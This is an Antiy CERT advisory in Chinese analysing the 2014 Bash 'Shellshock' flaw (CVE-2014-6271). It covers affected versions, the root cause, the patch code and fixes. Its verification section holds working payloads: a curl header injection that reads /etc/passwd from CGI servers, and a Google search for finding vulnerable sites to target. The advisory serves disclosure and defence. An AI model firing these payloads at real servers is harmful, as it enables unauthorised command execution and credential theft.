Bash远程代码执行漏洞“破壳”(CVE-2014-6271)分析

最后一次更新时间: 2014年9月26日 14点30分
安天安全研究与应急处理中心(Antiy CERT)



时间

版本

更新内容

2014925

10

第一版本

预警版本,进行漏洞中文命名、简要原理说明、影响平台与范围、快速解决方案,及给用户的建议等。

2014925

1250

第二版本

增加漏洞的本地验证、漏洞带来的影响、更新影响平台及解决方案等。

2014926

140

第三版本

增加远程漏洞验证、利用漏洞进行远程代码执行原理分析、漏洞检测方法等。

2014926

1430

第四版本

增加漏洞远程普查方式、漏洞的补丁代码分析



一、     概述

2014924bash被公布存在远程代码执行漏洞,漏洞会影响目前主流的操作系统平台,包括但不限于RedhatCentOSUbuntuDebianFedora Amazon Linux OS X 10.10等平台,此漏洞目前虽然有部分系统给出了补丁,但因为漏洞修补的时效性,及漏洞的范围之大,且还存在一些没有发布补丁的问题,所以仍被定义为高危漏洞。

bash引自维基百科的描述为:"bashUnix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括LinuxMac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的CygwinMinGW,或是可以在MS-DOS上使用的DJGPP项目。在Novell NetWareAndriod在上也有移植。"

 

二、     漏洞编号

CVE漏洞名称:CVE-2014-6271

中文漏洞名称:破壳

 

三、     发布时间

发布厂商

时间

链接

NVD

2014-09-24

2:48:04 PM

http://web.nvd.nist.gov/view/vuln/search-results?query=CVE-2014-6271&search_type=all&cves=on

Securityfocus

2014-09-24 12:00AM

http://www.securityfocus.com/bid/70103

exploit-db

2014-09-25

http://www.exploit-db.com/exploits/34765/

 

四、     部分主要漏洞影响平台及版本

操作系统

版本

解决方案

Red Hat Enterprise Linux

4 (ELS)

Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-3.0-27.el4.2

5

Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1

Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1

Red Hat Enterprise Linux 5.9 Extended Update Support - bash-3.2-32.el5_9.2

6

Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1

Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-4.1.2-9.el6_2.1

Red Hat Enterprise Linux 6.4 Extended Update Support - bash-4.1.2-15.el6_4.1

7

Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2

CentOS

5

bash-3.2-33.el5.1

6

bash-4.1.2-15.el6_5.1

7

bash-4.2.45-5.el7_0.2

Ubuntu

10.04

bash 4.1-2ubuntu3.1

12.04

bash 4.2-2ubuntu2.2

14.04

bash 4.3-7ubuntu1.1

Fedora

19

bash-4.2.47-2.fc19

20

bash-4.2.47-4.fc20

21

bash-4.3.22-3.fc21

Debian

4.1-3

4.1-3+deb6u1

4.2+dfsg-0.1

4.2+dfsg-0.1+deb7u1

4.3-9

4.3-9.1

Amazon Linux AMI

 

bash-4.1.2-15.19

Mac OS X

10.10

 

注:也可到http://ftp.gnu.org/pub/gnu/bash/进行下载。

五、     漏洞的影响范围

目前已验证Red Hat CentOS Ubuntu Fedora Amazon Linux OS X 10.10均拥有存在CVE-2014-6271漏洞的bash版本,以bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用bashUnixLinuxMac OS X,针对这些操作系统管理下的数据存在高危威胁。

目前抽样验证当前出厂预装的Andriod操作系统暂不支持ENV命令,可推测针对Andriod操作系统受到此漏洞影响的可能性较小。

 

 

六、     漏洞原理

目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.cparse_and_execute函数中进行了输入的command进行了合法性的边界检测,将代码注入的可能性排除。在排除中主要用到了flags的两次判断和command的一次类型匹配,为了能够flags判断准确,在补丁中预先定义了SEVAL_FUNCDEFSEVAL_ONECMD两个标识作为判断依据。

此漏洞进行的补丁更新有三处,主要进行输入的command进行过滤作用。

/builtins/common.h

 #define SEVAL_FUNCDEF 0x080         /* only allow function definitions */

 #define SEVAL_ONECMD  0x100         /* only allow a single command */

/builtins/evalstring.c

           if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)

         {

           internal_warning ("%s: ignoring function definition attempt", from_file);

           should_jump_to_top_level = 0;

           last_result = last_command_exit_value = EX_BADUSAGE;

           break;

         }

/builtins/evalstring.c

      if (flags & SEVAL_ONECMD)

         break;

从阐述的漏洞原理可知,漏洞的根本原因存在于bashENV命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。如果达到远程代码执行的目的,必须要借助第三方服务程序作为媒介才能够实现,第三方服务程序也必须要满足众多条件才可以充当此媒介的角色。例如,第三方服务程序apache2便可充当此媒介,其CGI组件满足远程访问并调用bashENV命令进行访问数据解析功能。具体如何实现,见下面的原理图:CVE-2014-6271漏洞实现远程代码执行原理图。

 

七、     漏洞验证方法

目前的bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的bash函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。

1.  本地验证方法:

shell中执行下面命令:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

执行命令后,如果显示Vulnerable CVE-2014-6271证系统存在漏洞,可改变echo Vulnerable CVE-2014-6271为任意命令进行执行。

1)  Linux Debian操作系统漏洞验证如下:

2)  苹果操作系统(OS X 10.10)漏洞验证如下:

2.  远程验证方法

a.  模拟验证方法

此方法适合进行原理验证。

1)   Ubuntu下安装及配置apache服务器

l  安装apache2服务器

           #sudo apt-get install apache2

l  配置apache2服务器

           配置文件位于 /etc/apache2/sites-enabled/000-default

l  vi打开配置文件:

           #sudo vi /etc/apache2/sites-enabled/000-default

l  修改其中两句为:

           DocumentRoot /var/www/html

ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/

2)   编写WEB服务端测试文件

l  编辑服务端测试文件

#sudo vi /var/www/html/cgi-bin/test.sh

#!/bin/bash

echo "Content-type: text/html"

echo ""

l  然后重启服务

#sudo /etc/init.d/apache2 restart

3)   远程测试

l  测试命令如下:

curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a' 'http://IP地址/cgi-bin/test.sh' -I

        命令中可改变a=`/bin/cat /etc/passwd`;echo $a为任意命令进行执行。

 

b.       真实验证方法

此方法适合互联网管理部门进行互联网普查等。

1)   以搜索引擎进行可能存在漏洞的网站检索,下面以google检索为例:

检索:inurl:/cgi-bin/ filetype:sh

2)   将检索到的url进行提取,然后替换下面的“替换URL

curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a' '替换URL' -I

3)   如存在漏洞,便可复现模拟验证方法的结果,借此判断漏洞的范围及危害程度等。

八、     漏洞检测方法

可以应用本地与远程的漏洞验证方法进行脚本、程序或snot规则等的编写与配置,进而进行批量的操作系统平台的检测。

 

九、     漏洞可能会带来的影响

1.   此漏洞可以绕过ForceCommandsshd中的配置,从而执行任意命令。

2.   如果CGI脚本用bash编写,则使用mod_cgimod_cgidApache服务器会受到影响。

3.   DHCP客户端调用shell脚本来配置系统,可能存在允许任意命令执行。

4.   各种daemonSUID/privileged的程序都可能执行shell脚本,通过用户设置或影响环境变量值,允许任意命令运行。

 

十、     针对此漏洞的建议

1.   按第七节中的漏洞验证方法进行验证判定,如确定存在漏洞,则针对第四部分给出的解决方案进行版本更新。

2.   更新bash源码,针对ENV命令实现部分,进行边界检查与参数过滤。严格界定函数定义范围,并做合法化的参数的判断。

十一、参考链接

 
  1. http://zh.wikipedia.org/wiki/Bash
  2. https://access.redhat.com/solutions/1207723
  3. http://lists.centos.org/pipermail/centos/2014-September/146099.html
  4. http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-6271.html
  5. http://seclists.org/oss-sec/2014/q3/650
  6. https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
  7. http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCNYnF7WgVl
  8. https://security-tracker.debian.org/tracker/CVE-2014-6271

 

分享此内容到: